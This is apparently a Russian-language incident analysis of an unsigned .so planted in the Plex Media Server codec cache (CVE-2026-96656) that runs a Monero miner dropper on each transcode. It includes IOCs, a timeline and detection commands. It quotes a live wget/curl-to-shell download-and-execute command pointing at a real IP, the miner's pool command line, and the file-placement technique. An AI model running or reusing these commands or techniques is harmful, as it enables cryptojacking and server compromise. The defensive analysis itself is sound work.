
Разбор инцидента: неподписанный .so в кэше кодеков Plex Media Server запускает дроппер при каждом транскодировании (CVE-2026-96656) — IOC, STIX, YARA
.so, помещённый в кэш кодеков Plex Media Server, запускает майнер Monero при каждом транскодированииДата инцидента: 2026-10-17 → 2026-10-18 (UTC+02:00)
Уязвимость: CVE-2026-96656 (CVSS 4.0: 8.6, присвоен CISA) — исправлена в Plex Media Server 1.43.3.10861
Затронуто: Plex Media Server 1.43.2.10687 (Linux, официальный контейнер linuxserver/plex)
Статус: локализовано; пересборка хоста не требуется (постоянного присутствия на диске вне кэша кодеков нет)
Злоумышленник, имеющий доступ к серверу Plex, поместил неподписанный разделяемый объект с именем
zz45fbb275.so в каталог кодеков приложения — каталог, который Plex заполняет
сам и передаёт каждому транскодеру через FFMPEG_EXTERNAL_LIBS. Объект не экспортирует
ничего и не объявляет зависимостей; вся его полезная нагрузка — единственный конструктор .init_array,
поэтому он выполняется в момент, когда транскодер вызывает для него dlopen().
Таким образом, каждое транскодирование — нажатие кнопки воспроизведения клиентом или задания по созданию миниатюр/анализу библиотеки — повторно запускало:
/bin/sh -c "(wget http://217.60.194.116/docker -O- || curl http://217.60.194.116/docker -o-)|sh"
который загрузил майнер RandomX, производный от xmrig (x12345), и запустил его против
ota.proxystream.st:3333 с --rig-id plexdocker. Не было ни задания cron, ни юнита systemd,
ни правки rc-файлов, ни изменённого бинарника: механизмом закрепления был кэш кодеков.
Убийство одного лишь майнера приводило к повторному заражению хоста при следующем воспроизведении.
| Время | Событие |
|---|---|
| 17 окт 07:50 | Первая WAN-сессия с 45.194.92.222; запросы аутентифицируются как guest, затем регистрируют Companion-плеер и обращаются к /player/* и эндпоинтам агента |
| 17 окт 17:20 | zz45fbb275.so создан в …/Plex Media Server/Codecs/c75335c-…-linux-x86_64/ (меняется mtime каталога; других файлов не появляется) |
| 17 окт 17:23 | Записан /tmp/x12345 (8 350 992 байта) |
| 17 окт 17:40 | Майнер запущен: ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker, ~127 % CPU |
| 18 окт 10:48 | Вторая цепочка дроппера запущена более поздним транскодированием — полезная нагрузка выполняется повторно по требованию |
| 18 окт 11:14 | Обнаружение: найден процесс майнинга с PPid, указывающим на PID 1 контейнера |
| 18 окт 11:20–11:35 | Локализация: .so удалён, Plex обновлён до 1.43.4, WAN-доступ к 32400 закрыт |
Сервер был доступен из интернета (собственное сопоставление портов UPnP в Plex). Журналы
Plex показывают, что источник 45.194.92.222 аутентифицируется как guest и выполняет
вызовы агента в ту самую минуту, когда появился .so; также фигурирует второй адрес,
91.92.40.202, с гостевой аутентификацией.
Публичное описание CVE-2026-96656 точно соответствует этому артефакту:
Plex Media Server до 1.43.3.10861 позволяет административному пользователю записывать произвольные файлы, которые могут быть выполнены при загрузке. Настройка
TranscoderH264Optionsдословно добавляется к строке параметров x264 при каждом транскодировании. При запуске все .so-файлы выполняются без проверки подписи, бита выполнения или символов.
Два следствия, которые стоит прямо обозначить:
PR:H). Приведённые выше запросы с гостевой
аутентификацией сами по себе не объясняют запись файла, поэтому административный токен сервера
следует считать скомпрометированным независимо от того, как был сделан запрос..so-файлов в каталоге кодеков не выполняется никакая проверка бита выполнения, подписи
или символов — вот почему ничего не делающая библиотека с единственным конструктором является
полноценной полезной нагрузкой.Мы не зафиксировали конкретный запрос, записавший файл — сброс подтверждается
временными метками файловой системы и цепочкой выполнения, а не перехватом пакетов. Настройка
TranscoderH264Options на затронутом хосте после инцидента оказалась пустой,
поэтому значение, использованное для записи файла, было либо сброшено, либо перезаписано; это
единственное звено цепочки, которое мы не можем восстановить постфактум.
filename : zz45fbb275.so
size : 1,036,800 bytes
sha256 : a9a309154493193c70bf6f805fe70e1bc4e9564e2f0e20cd1600c72587c7e65f
type : ELF64 x86-64, DYN (shared object), stripped
linker : GCC (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
NEEDED : none
exports : none
payload : single .init_array entry (0x1000) — runs at dlopen(), before Plex uses it
strings : 69 total; the only meaningful ones are /bin/sh and the dropper command line
Поскольку конструктор выполняется при загрузке, объекту не нужно реализовывать какой-либо API кодеков. Ему достаточно находиться в каталоге, из которого транскодер загружает библиотеки.
Детали размещения, которые стоит обнаруживать:
lib*.so; каждый легитимный файл в каталоге кодеков имеет такое имя
(libh264_decoder.so, libhevc_decoder.so, …). zz, вероятно, выбран, чтобы сортироваться последним.Codecs/<set-id>-linux-x86_64/) обычно записывается только
собственным загрузчиком кодеков Plex, все файлы которого имеют префикс lib.EasyAudioEncoder-*/EasyAudioEncoder/EasyAudioEncoder — единственный другой объект
без префикса lib, который принадлежит этому дереву.filename : x12345 (in /tmp, mode 0777)
size : 8,350,992 bytes
sha256 : b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
family : xmrig-derived, RandomX (Monero)
cmdline : ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
--rig-id plexdocker — это фиксированный операторский тег, полезный для поиска связей в данных о потоках и телеметрии пула. Процесс был обнаружен в состоянии T (остановлен) с ~2,3 ГБ RSS: остановленное состояние не безвредно — он возобновляется и продолжает хеширование.
PPid указывал на PID 1 контейнера (s6-svscan), потому что настоящий родитель уже завершился — это переподчинение, а не супервизия. Фактический запускающий процесс был виден только через общий socketpair: ss -xp показывал цепочку sh/wget, Plex Transcoder, службу тюнера и сервер Plex на одной и той же паре сокетов, а обход дочерних процессов живого Plex Transcoder показал дроппер как его дочерний процесс. Триггером был сам транскодинг.
find "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Codecs" \
-type f \( -name '*.so' -o -name '*.so.*' \) ! -name 'lib*' -ls
Любое совпадение, не являющееся EasyAudioEncoder, подозрительно. Также следует отметить каталог кодека, время модификации (mtime) которого изменилось без добавления соответствующего lib*.so.
Проверьте настройку, которую эксплуатирует CVE-2026-96656 для произвольной записи файлов:
grep -o 'TranscoderH264Options="[^"]*"' "$PLEX_CONFIG/Library/Application Support/Plex Media Server/Preferences.xml"
Непустое значение заслуживает прочтения — оно дословно добавляется к строке параметров x264 при каждом транскодировании, и всё, что в нём похоже на имя файла, в итоге записывается на диск. На хосте здесь оно оказалось пустым после инцидента, так что отсутствие не является доказательством отсутствия: сопоставьте с mtime файла.
# bracket the literals: the plain strings also match the shell you type them into
ps -eo pid,ppid,user,etime,args | grep -E 'donate[-]level|proxystream[.]st|x1[0-9]{4}( |$)'
ss -tunp | grep -E ':(3333|3334|14444|45560)\b'
pkill -f с простым шаблоном убьёт оболочку, выполняющую его (шаблон является частью
командной строки этой оболочки) — используйте форму со скобками или завершайте по PID.